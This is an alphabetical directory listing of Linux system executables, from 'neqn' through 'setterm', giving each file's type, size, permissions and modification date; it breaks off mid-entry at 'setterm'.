neqn
text/x-shellscript
908 B
-rwxr-xr-x
2019-10-13 02:29:37
net-snmp-create-v3-user
text/x-shellscript
3.15 KB
-rwxr-xr-x
2025-10-07 09:19:20
netcat
application/x-pie-executable
49.27 KB
-rwxr-xr-x
2025-01-05 11:13:17
netstat
application/x-pie-executable
158.68 KB
-rwxr-xr-x
2020-08-30 05:47:39
newgidmap
application/x-pie-executable
47.8 KB
-rwxr-xr-x
2024-04-06 02:00:13
newgrp
application/x-pie-executable
42.45 KB
-rwsr-xr-x
2024-04-06 02:00:13
newuidmap
application/x-pie-executable
47.76 KB
-rwxr-xr-x
2024-04-06 02:00:13
nf-ct-add
application/x-pie-executable
16.46 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-ct-events
application/x-pie-executable
12.38 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-ct-list
application/x-pie-executable
16.49 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-exp-add
application/x-pie-executable
16.87 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-exp-delete
application/x-pie-executable
16.66 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-exp-list
application/x-pie-executable
16.49 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-log
application/x-pie-executable
12.35 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-monitor
application/x-pie-executable
12.36 KB
-rwxr-xr-x
2022-10-08 11:39:40
nf-queue
application/x-pie-executable
16.35 KB
-rwxr-xr-x
2022-10-08 11:39:41
ngettext
application/x-pie-executable
48.97 KB
-rwxr-xr-x
2019-11-18 05:17:29
nice
application/x-pie-executable
37.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
nisdomainname
application/x-pie-executable
21.16 KB
-rwxr-xr-x
2019-10-11 01:06:51
nl
application/x-pie-executable
45.63 KB
-rwxr-xr-x
2023-04-01 08:44:39
nl-addr-add
application/x-pie-executable
12.34 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-addr-delete
application/x-pie-executable
16.77 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-addr-list
application/x-pie-executable
16.88 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-class-add
application/x-pie-executable
16.73 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-class-delete
application/x-pie-executable
12.63 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-class-list
application/x-pie-executable
12.59 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-classid-lookup
application/x-pie-executable
12.47 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-cls-add
application/x-pie-executable
16.77 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-cls-delete
application/x-pie-executable
16.77 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-cls-list
application/x-pie-executable
12.73 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-fib-lookup
application/x-pie-executable
12.5 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-enslave
application/x-pie-executable
11.87 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-ifindex2name
application/x-pie-executable
11.87 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-list
application/x-pie-executable
12.23 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-name2ifindex
application/x-pie-executable
11.86 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-release
application/x-pie-executable
11.86 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-set
application/x-pie-executable
12.77 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-stats
application/x-pie-executable
12.59 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-list-caches
application/x-pie-executable
12.27 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-list-sockets
application/x-pie-executable
11.87 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-monitor
application/x-pie-executable
12.52 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-neigh-add
application/x-pie-executable
12.63 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-neigh-delete
application/x-pie-executable
12.66 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-neigh-list
application/x-pie-executable
12.19 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-neightbl-list
application/x-pie-executable
12.01 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-pktloc-lookup
application/x-pie-executable
12.56 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-qdisc-add
application/x-pie-executable
12.65 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-qdisc-delete
application/x-pie-executable
12.63 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-qdisc-list
application/x-pie-executable
16.74 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-route-add
application/x-pie-executable
16.39 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-route-delete
application/x-pie-executable
16.88 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-route-get
application/x-pie-executable
12.35 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-route-list
application/x-pie-executable
16.44 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-rule-list
application/x-pie-executable
12.05 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-tctree-list
application/x-pie-executable
12.66 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-util-addr
application/x-pie-executable
11.85 KB
-rwxr-xr-x
2022-10-08 11:39:41
nm
application/x-pie-executable
50.38 KB
-rwxr-xr-x
2025-10-07 06:44:04
nm-online
application/x-pie-executable
20.84 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmcli
application/x-pie-executable
1009 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmtui
application/x-pie-executable
784.12 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmtui-connect
application/x-pie-executable
784.12 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmtui-edit
application/x-pie-executable
784.12 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmtui-hostname
application/x-pie-executable
784.12 KB
-rwxr-xr-x
2025-08-26 09:47:31
nohup
application/x-pie-executable
37.48 KB
-rwxr-xr-x
2023-04-01 08:44:39
nop
application/x-pie-executable
12.5 KB
-rwxr-xr-x
2024-04-06 12:47:15
nproc
application/x-pie-executable
37.48 KB
-rwxr-xr-x
2023-04-01 08:44:39
nroff
text/x-shellscript
3.23 KB
-rwxr-xr-x
2019-10-13 02:29:39
nsenter
application/x-pie-executable
33.3 KB
-rwxr-xr-x
2024-04-06 01:02:53
nslookup
application/x-pie-executable
146.26 KB
-rwxr-xr-x
2025-11-06 07:45:52
nss-policy-check
application/x-pie-executable
16.3 KB
-rwxr-xr-x
2025-09-09 01:57:07
nsupdate
application/x-pie-executable
73.05 KB
-rwxr-xr-x
2025-11-06 07:45:52
numfmt
application/x-pie-executable
65.71 KB
-rwxr-xr-x
2023-04-01 08:44:39
objcopy
application/x-pie-executable
240.07 KB
-rwxr-xr-x
2025-10-07 06:44:04
objdump
application/x-pie-executable
419.76 KB
-rwxr-xr-x
2025-10-07 06:44:04
od
application/x-pie-executable
73.88 KB
-rwxr-xr-x
2023-04-01 08:44:39
odbc_config
application/x-pie-executable
13.05 KB
-rwxr-xr-x
2019-10-14 09:51:19
odbcinst
application/x-pie-executable
37.68 KB
-rwxr-xr-x
2019-10-14 09:51:19
open
application/x-pie-executable
20.97 KB
-rwxr-xr-x
2023-10-14 09:01:01
openssl
application/x-pie-executable
745.95 KB
-rwxr-xr-x
2024-10-09 01:39:36
openvt
application/x-pie-executable
20.97 KB
-rwxr-xr-x
2023-10-14 09:01:01
os-prober
text/x-shellscript
5.78 KB
-rwxr-xr-x
2021-10-09 02:56:52
osage
application/x-pie-executable
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
p11-kit
application/x-pie-executable
37.15 KB
-rwxr-xr-x
2024-04-06 02:16:19
package-cleanup
text/plain
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
page_owner_sort
application/x-pie-executable
11.34 KB
-rwxr-xr-x
2025-12-08 09:08:32
pango-list
application/x-pie-executable
11.88 KB
-rwxr-xr-x
2021-10-08 03:22:06
pango-view
application/x-pie-executable
57.44 KB
-rwxr-xr-x
2021-10-08 03:22:06
paperconf
application/x-pie-executable
13.07 KB
-rwxr-xr-x
2019-10-12 08:09:13
passwd
application/x-pie-executable
32.77 KB
-rwsr-xr-x
2022-04-18 10:59:33
paste
application/x-pie-executable
37.46 KB
-rwxr-xr-x
2023-04-01 08:44:39
patch
application/x-pie-executable
206.46 KB
-rwxr-xr-x
2020-06-01 03:14:25
patchwork
application/x-pie-executable
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
pathchk
application/x-pie-executable
37.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
pathfix.py
text/plain
6.63 KB
-rwxr-xr-x
2025-08-26 08:58:55
pcre-config
text/x-shellscript
2.09 KB
-rwxr-xr-x
2021-10-08 07:17:42
pcre2-config
text/x-shellscript
1.9 KB
-rwxr-xr-x
2022-08-02 04:07:28
pdf2dsc
text/x-shellscript
698 B
-rwxr-xr-x
2025-06-03 02:48:11
pdf2ps
text/x-shellscript
909 B
-rwxr-xr-x
2025-06-03 02:48:11
peekfd
application/x-pie-executable
16.51 KB
-rwxr-xr-x
2020-11-06 02:24:16
perl
application/x-pie-executable
12.43 KB
-rwxr-xr-x
2025-07-28 08:07:20
perl5.26.3
application/x-pie-executable
12.43 KB
-rwxr-xr-x
2025-07-28 08:07:20
perlbug
text/x-perl
44.39 KB
-rwxr-xr-x
2025-07-28 08:08:32
perldoc
text/x-perl
118 B
-rwxr-xr-x
2019-10-13 11:53:57
perlivp
text/x-perl
10.56 KB
-rwxr-xr-x
2025-07-28 08:07:09
perlml
application/x-executable
6.61 KB
-rwxr-xr-x
2025-10-02 07:40:04
perlthanks
text/x-perl
44.39 KB
-rwxr-xr-x
2025-07-28 08:08:32
perror
application/x-pie-executable
3.75 MB
-rwxr-xr-x
2025-10-25 05:49:49
pflags
text/plain
2.57 KB
-rwxr-xr-x
2024-04-06 01:32:49
pftp
application/x-pie-executable
101.2 KB
-rwxr-xr-x
2019-10-12 12:59:55
pg_basebackup
application/x-pie-executable
123.48 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_config
application/x-pie-executable
45.35 KB
-rwxr-xr-x
2025-02-20 07:58:19
pg_controldata
application/x-pie-executable
41.22 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_ctl
application/x-pie-executable
53.78 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_dump
application/x-pie-executable
399.43 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_dumpall
application/x-pie-executable
107.11 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_isready
application/x-pie-executable
65.92 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_receivewal
application/x-pie-executable
70.56 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_recvlogical
application/x-pie-executable
74.73 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_resetwal
application/x-pie-executable
49.29 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_restore
application/x-pie-executable
173.34 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_rewind
application/x-pie-executable
86.58 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_upgrade
application/x-pie-executable
139.52 KB
-rwxr-xr-x
2024-02-27 08:25:00
pgrep
application/x-pie-executable
28.84 KB
-rwxr-xr-x
2023-10-14 08:31:02
php
text/x-perl
937 B
-rwxr-xr-x
2025-04-01 04:34:05
pic
application/x-pie-executable
293.84 KB
-rwxr-xr-x
2019-10-13 02:29:41
piconv
text/x-perl
8.08 KB
-rwxr-xr-x
2019-10-13 08:46:10
pidof
application/x-pie-executable
16.7 KB
-rwxr-xr-x
2023-10-14 08:31:02
pidstat
application/x-pie-executable
65.72 KB
-rwxr-xr-x
2024-07-03 09:57:26
pigz
application/x-pie-executable
125.38 KB
-rwxr-xr-x
2020-06-01 03:15:34
ping
application/x-pie-executable
66.13 KB
-rwxr-xr-x
2023-10-14 05:19:01
pinky
application/x-pie-executable
41.53 KB
-rwxr-xr-x
2023-04-01 08:44:39
pip-2
text/x-script.python
206 B
-rwxr-xr-x
2022-04-21 06:08:22
pip-2.7
text/x-script.python
206 B
-rwxr-xr-x
2022-04-21 06:08:22
pip-3
text/x-script.python
209 B
-rwxr-xr-x
2024-04-06 01:40:45
pip-3.6
text/x-script.python
209 B
-rwxr-xr-x
2024-04-06 01:40:45
pip2
text/x-script.python
206 B
-rwxr-xr-x
2022-04-21 06:08:22
pip2.7
text/x-script.python
206 B
-rwxr-xr-x
2022-04-21 06:08:22
pip3
text/x-script.python
209 B
-rwxr-xr-x
2024-04-06 01:40:45
pip3.6
text/x-script.python
209 B
-rwxr-xr-x
2024-04-06 01:40:45
pk12util
application/x-pie-executable
111.13 KB
-rwxr-xr-x
2025-09-09 01:57:07
pkaction
application/x-pie-executable
16.38 KB
-rwxr-xr-x
2024-05-29 12:51:40
pkcheck
application/x-pie-executable
24.43 KB
-rwxr-xr-x
2024-05-29 12:51:40
pkexec
application/x-pie-executable
28.41 KB
-rwsr-xr-x
2024-05-29 12:51:40
pkg-config
application/x-pie-executable
40.04 KB
-rwxr-xr-x
2019-10-13 06:57:31
pkgconf
application/x-pie-executable
40.04 KB
-rwxr-xr-x
2019-10-13 06:57:31
pkill
application/x-pie-executable
28.84 KB
-rwxr-xr-x
2023-10-14 08:31:02
pkla-admin-identities
application/x-pie-executable
25.72 KB
-rwxr-xr-x
2019-11-18 03:17:20
pkla-check-authorization
application/x-pie-executable
33.78 KB
-rwxr-xr-x
2019-11-18 03:17:20
pkttyagent
application/x-pie-executable
20.38 KB
-rwxr-xr-x
2024-05-29 12:51:40
pl2pm
text/x-perl
4.43 KB
-rwxr-xr-x
2025-07-28 08:08:16
pldd
application/x-pie-executable
16.75 KB
-rwxr-xr-x
2025-12-08 09:43:19
plesk_configure
text/x-shellscript
342 B
-rwxr-xr-x
2021-07-04 09:39:09
plymouth
application/x-pie-executable
45.24 KB
-rwxr-xr-x
2025-11-05 08:11:13
pmap
application/x-pie-executable
32.78 KB
-rwxr-xr-x
2023-10-14 08:31:02
png-fix-itxt
application/x-pie-executable
13.04 KB
-rwxr-xr-x
2019-10-12 12:44:13
pngfix
application/x-pie-executable
53.53 KB
-rwxr-xr-x
2019-10-12 12:44:13
pod2html
text/x-perl
4.04 KB
-rwxr-xr-x
2025-07-28 08:08:32
pod2man
text/x-perl
14.68 KB
-rwxr-xr-x
2019-10-13 02:12:32
pod2text
text/x-perl
10.55 KB
-rwxr-xr-x
2019-10-13 02:12:32
pod2usage
text/x-perl
3.86 KB
-rwxr-xr-x
2019-10-13 11:57:18
podchecker
text/x-perl
3.57 KB
-rwxr-xr-x
2019-10-13 11:46:35
podselect
text/x-perl
2.47 KB
-rwxr-xr-x
2019-10-13 11:52:55
post-grohtml
application/x-pie-executable
238.73 KB
-rwxr-xr-x
2019-10-13 02:29:41
postgres
application/x-pie-executable
7.19 MB
-rwxr-xr-x
2024-02-27 08:25:00
postgresql-setup
text/x-shellscript
25.53 KB
-rwxr-xr-x
2024-02-27 08:24:43
postgresql-upgrade
text/x-shellscript
5.95 KB
-rwxr-xr-x
2024-02-27 08:24:43
postmaster
application/x-pie-executable
7.19 MB
-rwxr-xr-x
2024-02-27 08:25:00
powernow-k8-decode
application/x-pie-executable
10.88 KB
-rwxr-xr-x
2025-12-08 09:08:32
pr
application/x-pie-executable
82.23 KB
-rwxr-xr-x
2023-04-01 08:44:39
pre-grohtml
application/x-pie-executable
130.55 KB
-rwxr-xr-x
2019-10-13 02:29:41
precat
text/x-shellscript
5.52 KB
-rwxr-xr-x
2022-04-18 03:10:50
preconv
application/x-pie-executable
57.65 KB
-rwxr-xr-x
2019-10-13 02:29:41
preunzip
text/x-shellscript
5.52 KB
-rwxr-xr-x
2022-04-18 03:10:50
prezip
text/x-shellscript
5.52 KB
-rwxr-xr-x
2022-04-18 03:10:50
prezip-bin
application/x-pie-executable
11.98 KB
-rwxr-xr-x
2022-04-18 03:10:53
printenv
application/x-pie-executable
33.4 KB
-rwxr-xr-x
2023-04-01 08:44:39
printf
application/x-pie-executable
53.64 KB
-rwxr-xr-x
2023-04-01 08:44:39
prlimit
application/x-pie-executable
37.54 KB
-rwxr-xr-x
2024-04-06 01:02:53
procan
application/x-pie-executable
82.6 KB
-rwxr-xr-x
2025-07-15 09:33:30
protoc
application/x-pie-executable
16.49 KB
-rwxr-xr-x
2025-10-07 08:37:49
protoc-c
application/x-pie-executable
244.79 KB
-rwxr-xr-x
2023-10-14 09:21:20
protoc-gen-c
application/x-pie-executable
244.79 KB
-rwxr-xr-x
2023-10-14 09:21:20
prove
text/x-perl
13.24 KB
-rwxr-xr-x
2019-10-13 12:42:34
prtstat
application/x-pie-executable
20.51 KB
-rwxr-xr-x
2020-11-06 02:24:16
prune
application/x-pie-executable
16.73 KB
-rwxr-xr-x
2024-04-06 12:47:15
ps
application/x-pie-executable
134.75 KB
-rwxr-xr-x
2023-10-14 08:31:02
ps2ascii
text/x-shellscript
631 B
-rwxr-xr-x
2025-06-03 02:48:11
ps2epsi
text/x-shellscript
2.69 KB
-rwxr-xr-x
2025-06-03 02:48:11
ps2pdf
text/x-shellscript
272 B
-rwxr-xr-x
2025-06-03 02:48:11
ps2pdf12
text/x-shellscript
215 B
-rwxr-xr-x
2025-06-03 02:48:11
ps2pdf13
text/x-shellscript
215 B
-rwxr-xr-x
2025-06-03 02:48:11
ps2pdf14
text/x-shellscript
215 B
-rwxr-xr-x
2025-06-03 02:48:11
ps2pdfwr
text/x-shellscript
1.07 KB
-rwxr-xr-x
2025-06-03 02:48:11
ps2ps
text/x-shellscript
647 B
-rwxr-xr-x
2025-06-03 02:48:11
ps2ps2
text/x-shellscript
669 B
-rwxr-xr-x
2025-06-03 02:48:11
ps_mem
text/plain
17.69 KB
-rwxr-xr-x
2022-04-18 05:28:08
psfaddtable
application/x-pie-executable
20.66 KB
-rwxr-xr-x
2023-10-14 09:01:01
psfgettable
application/x-pie-executable
20.66 KB
-rwxr-xr-x
2023-10-14 09:01:01
psfstriptable
application/x-pie-executable
20.66 KB
-rwxr-xr-x
2023-10-14 09:01:01
psfxtable
application/x-pie-executable
20.66 KB
-rwxr-xr-x
2023-10-14 09:01:01
pslog
application/x-pie-executable
12.48 KB
-rwxr-xr-x
2020-11-06 02:24:16
psql
application/x-pie-executable
644.33 KB
-rwxr-xr-x
2024-02-27 08:25:00
pstree
application/x-pie-executable
33.53 KB
-rwxr-xr-x
2020-11-06 02:24:16
pstree.x11
application/x-pie-executable
33.53 KB
-rwxr-xr-x
2020-11-06 02:24:16
ptar
text/x-perl
3.38 KB
-rwxr-xr-x
2019-10-13 07:10:48
ptardiff
text/x-perl
2.48 KB
-rwxr-xr-x
2019-10-13 07:10:48
ptargrep
text/x-perl
4.2 KB
-rwxr-xr-x
2019-10-13 07:10:48
ptx
application/x-pie-executable
78.07 KB
-rwxr-xr-x
2023-04-01 08:44:39
pure-pw
application/x-pie-executable
38.84 KB
-rwxr-xr-x
2025-06-06 02:16:26
pure-pwconvert
application/x-pie-executable
10.72 KB
-rwxr-xr-x
2025-06-06 02:16:26
pure-statsdecode
application/x-pie-executable
10.72 KB
-rwxr-xr-x
2025-06-06 02:16:26
pwd
application/x-pie-executable
37.5 KB
-rwxr-xr-x
2023-04-01 08:44:39
pwdx
application/x-pie-executable
12.68 KB
-rwxr-xr-x
2023-10-14 08:31:02
pwmake
application/x-pie-executable
12.27 KB
-rwxr-xr-x
2023-04-01 06:24:17
pwscore
application/x-pie-executable
12.27 KB
-rwxr-xr-x
2023-04-01 06:24:17
pydoc-3
text/plain
89 B
-rwxr-xr-x
2025-08-26 09:08:07
pydoc2
text/x-script.python
78 B
-rwxr-xr-x
2024-04-10 04:58:41
pydoc2.7
text/x-script.python
78 B
-rwxr-xr-x
2024-04-10 04:58:41
pydoc3
text/plain
89 B
-rwxr-xr-x
2025-08-26 09:08:07
pydoc3.12
text/x-script.python
79 B
-rwxr-xr-x
2025-08-26 09:01:34
pydoc3.6
text/plain
89 B
-rwxr-xr-x
2025-08-26 09:08:07
pygettext2.7.py
text/x-script.python
21.56 KB
-rwxr-xr-x
2024-04-10 04:58:41
pygettext2.py
text/x-script.python
21.56 KB
-rwxr-xr-x
2024-04-10 04:58:41
pynche2
text/x-shellscript
138 B
-rwxr-xr-x
2024-04-10 04:48:26
pynche2.7
text/x-shellscript
138 B
-rwxr-xr-x
2024-04-10 04:48:26
python-html2text
text/x-script.python
406 B
-rwxr-xr-x
2020-03-17 12:40:44
python2
application/x-pie-executable
7.84 KB
-rwxr-xr-x
2024-04-10 04:58:50
python2-config
text/x-script.python
1.8 KB
-rwxr-xr-x
2024-04-10 04:58:41
python2.7
application/x-pie-executable
7.84 KB
-rwxr-xr-x
2024-04-10 04:58:50
python2.7-config
text/x-script.python
1.8 KB
-rwxr-xr-x
2024-04-10 04:58:41
python3
application/x-pie-executable
11.59 KB
-rwxr-xr-x
2025-08-26 09:08:24
python3-config
text/x-shellscript
204 B
-rwxr-xr-x
2025-08-26 09:08:08
python3-html2text
text/x-script.python
406 B
-rwxr-xr-x
2020-03-17 12:40:44
python3.12
application/x-pie-executable
7.57 KB
-rwxr-xr-x
2025-08-26 09:04:13
python3.6
application/x-pie-executable
11.59 KB
-rwxr-xr-x
2025-08-26 09:08:24
python3.6-config
text/x-shellscript
204 B
-rwxr-xr-x
2025-08-26 09:08:08
python3.6m
application/x-pie-executable
11.59 KB
-rwxr-xr-x
2025-08-26 09:08:24
python3.6m-config
text/x-shellscript
204 B
-rwxr-xr-x
2025-08-26 09:08:08
python3.6m-x86_64-config
text/x-shellscript
3.54 KB
-rwxr-xr-x
2025-08-26 09:01:50
pyvenv-3
text/plain
446 B
-rwxr-xr-x
2025-08-26 09:08:07
pyvenv-3.6
text/plain
446 B
-rwxr-xr-x
2025-08-26 09:08:07
qemu-ga
application/x-pie-executable
505.49 KB
-rwxr-xr-x
2025-08-07 12:04:14
quota
application/x-pie-executable
91.49 KB
-rwsr-xr-x
2021-10-09 07:08:37
quotasync
application/x-pie-executable
74.69 KB
-rwxr-xr-x
2021-10-09 07:08:37
ranlib
application/x-pie-executable
61.97 KB
-rwxr-xr-x
2025-10-07 06:44:04
raw
application/x-pie-executable
16.49 KB
-rwxr-xr-x
2024-04-06 01:02:53
read
text/x-shellscript
28 B
-rwxr-xr-x
2025-08-26 08:48:39
readelf
application/x-pie-executable
624.54 KB
-rwxr-xr-x
2025-10-07 06:44:04
readlink
application/x-pie-executable
45.96 KB
-rwxr-xr-x
2023-04-01 08:44:39
realpath
application/x-pie-executable
50.02 KB
-rwxr-xr-x
2023-04-01 08:44:39
recode-sr-latin
application/x-pie-executable
17.99 KB
-rwxr-xr-x
2019-11-18 05:17:29
reindexdb
application/x-pie-executable
70.32 KB
-rwxr-xr-x
2024-02-27 08:25:00
rename
application/x-pie-executable
16.5 KB
-rwxr-xr-x
2024-04-06 01:02:53
renew-dummy-cert
text/x-shellscript
725 B
-rwxr-xr-x
2024-10-09 01:39:22
renice
application/x-pie-executable
16.46 KB
-rwxr-xr-x
2024-04-06 01:02:53
replace
application/x-pie-executable
3.54 MB
-rwxr-xr-x
2025-10-25 05:47:59
repo-graph
text/plain
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
repoclosure
text/plain
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
repodiff
text/plain
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
repomanage
text/plain
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
repoquery
text/plain
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
reposync
text/plain
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
repotrack
text/plain
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
rescan-scsi-bus.sh
text/x-shellscript
38.24 KB
-rwxr-xr-x
2022-10-08 11:49:23
reset
application/x-pie-executable
24.76 KB
-rwxr-xr-x
2023-10-14 06:54:49
resizecons
application/x-pie-executable
20.77 KB
-rwxr-xr-x
2023-10-14 09:01:01
resolve_stack_dump
application/x-pie-executable
3.56 MB
-rwxr-xr-x
2025-10-25 05:49:49
resolvectl
application/x-pie-executable
195.77 KB
-rwxr-xr-x
2025-11-05 09:26:54
resolveip
application/x-pie-executable
3.56 MB
-rwxr-xr-x
2025-10-25 05:49:49
rev
application/x-pie-executable
12.45 KB
-rwxr-xr-x
2024-04-06 01:02:53
rm
application/x-pie-executable
70.47 KB
-rwxr-xr-x
2023-04-01 08:44:39
rmdir
application/x-pie-executable
45.54 KB
-rwxr-xr-x
2023-04-01 08:44:39
rnano
application/x-pie-executable
247.94 KB
-rwxr-xr-x
2024-09-24 02:16:19
rpcbind
application/x-pie-executable
61.55 KB
-rwxr-xr-x
2022-10-12 11:00:54
rpcinfo
application/x-pie-executable
32.64 KB
-rwxr-xr-x
2022-10-12 11:00:54
rpm
application/x-pie-executable
20.85 KB
-rwxr-xr-x
2024-12-17 04:11:05
rpm2archive
application/x-pie-executable
20.46 KB
-rwxr-xr-x
2024-12-17 04:11:05
rpm2cpio
application/x-pie-executable
11.84 KB
-rwxr-xr-x
2024-12-17 04:11:05
rpmdb
application/x-pie-executable
16.96 KB
-rwxr-xr-x
2024-12-17 04:11:05
rpmkeys
application/x-pie-executable
16.87 KB
-rwxr-xr-x
2024-12-17 04:11:05
rpmquery
application/x-pie-executable
20.85 KB
-rwxr-xr-x
2024-12-17 04:11:05
rpmverify
application/x-pie-executable
20.85 KB
-rwxr-xr-x
2024-12-17 04:11:05
rsync
application/x-pie-executable
510.15 KB
-rwxr-xr-x
2025-06-03 02:02:49
rsyslog-recover-qi.pl
text/x-perl
5.96 KB
-rwxr-xr-x
2024-11-05 02:34:12
run-parts
text/x-shellscript
1.94 KB
-rwxr-xr-x
2021-04-08 09:38:36
run-with-aspell
text/x-shellscript
85 B
-rwxr-xr-x
2022-04-18 03:10:50
runcon
application/x-pie-executable
37.45 KB
-rwxr-xr-x
2023-04-01 08:44:39
rvi
application/x-pie-executable
1.13 MB
-rwxr-xr-x
2025-10-12 12:23:15
rview
application/x-pie-executable
1.13 MB
-rwxr-xr-x
2025-10-12 12:23:15
rvim
application/x-pie-executable
2.93 MB
-rwxr-xr-x
2025-10-12 12:23:15
sadf
application/x-pie-executable
334.57 KB
-rwxr-xr-x
2024-07-03 09:57:26
sar
application/x-pie-executable
135.77 KB
-rwxr-xr-x
2024-07-03 09:57:26
sccmap
application/x-pie-executable
20.62 KB
-rwxr-xr-x
2024-04-06 12:47:15
scl
application/x-pie-executable
36.87 KB
-rwxr-xr-x
2023-04-01 04:10:31
scl_enabled
text/x-shellscript
258 B
-rwxr-xr-x
2017-08-25 08:23:02
scl_source
text/x-shellscript
1.82 KB
-rwxr-xr-x
2023-04-01 04:10:31
scp
application/x-pie-executable
102.84 KB
-rwxr-xr-x
2025-09-30 10:44:15
screen
application/x-pie-executable
482.46 KB
-rwxr-sr-x
2021-05-05 10:04:06
script
application/x-pie-executable
36.79 KB
-rwxr-xr-x
2024-04-06 01:02:53
scriptreplay
application/x-pie-executable
28.99 KB
-rwxr-xr-x
2024-04-06 01:02:53
scsi-rescan
text/x-shellscript
38.24 KB
-rwxr-xr-x
2022-10-08 11:49:23
scsi_logging_level
text/x-shellscript
8.38 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_mandat
text/x-shellscript
3.52 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_readcap
text/x-shellscript
1.3 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_ready
text/x-shellscript
1.09 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_satl
text/x-shellscript
3.77 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_start
text/x-shellscript
1.25 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_stop
text/x-shellscript
1.44 KB
-rwxr-xr-x
2022-10-08 11:49:31
scsi_temperature
text/x-shellscript
936 B
-rwxr-xr-x
2022-10-08 11:49:31
sdiff
application/x-pie-executable
105.33 KB
-rwxr-xr-x
2020-05-04 03:15:14
secon
application/x-pie-executable
25.46 KB
-rwxr-xr-x
2024-07-02 09:04:21
sed
application/x-pie-executable
115.48 KB
-rwxr-xr-x
2022-04-18 09:41:04
semodule_expand
application/x-pie-executable
12.28 KB
-rwxr-xr-x
2024-07-02 09:04:21
semodule_link
application/x-pie-executable
12.28 KB
-rwxr-xr-x
2024-07-02 09:04:21
semodule_package
application/x-pie-executable
16.68 KB
-rwxr-xr-x
2024-07-02 09:04:21
semodule_unpackage
application/x-pie-executable
12.3 KB
-rwxr-xr-x
2024-07-02 09:04:21
seq
application/x-pie-executable
53.52 KB
-rwxr-xr-x
2023-04-01 08:44:39
sessreg
application/x-pie-executable
17.38 KB
-rwxr-xr-x
2019-10-15 01:08:41
setarch
application/x-pie-executable
20.76 KB
-rwxr-xr-x
2024-04-06 01:02:53
setfacl
application/x-pie-executable
37.65 KB
-rwxr-xr-x
2024-04-06 12:15:42
setfont
application/x-pie-executable
45.19 KB
-rwxr-xr-x
2023-10-14 09:01:01
setkeycodes
application/x-pie-executable
12.56 KB
-rwxr-xr-x
2023-10-14 09:01:01
setleds
application/x-pie-executable
16.6 KB
-rwxr-xr-x
2023-10-14 09:01:01
setmetamode
application/x-pie-executable
12.56 KB
-rwxr-xr-x
2023-10-14 09:01:01
setpriv
application/x-pie-executable
45.15 KB
-rwxr-xr-x
2024-04-06 01:02:53
setsid
application/x-pie-executable
16.38 KB
-rwxr-xr-x
2024-04-06 01:02:53
setterm
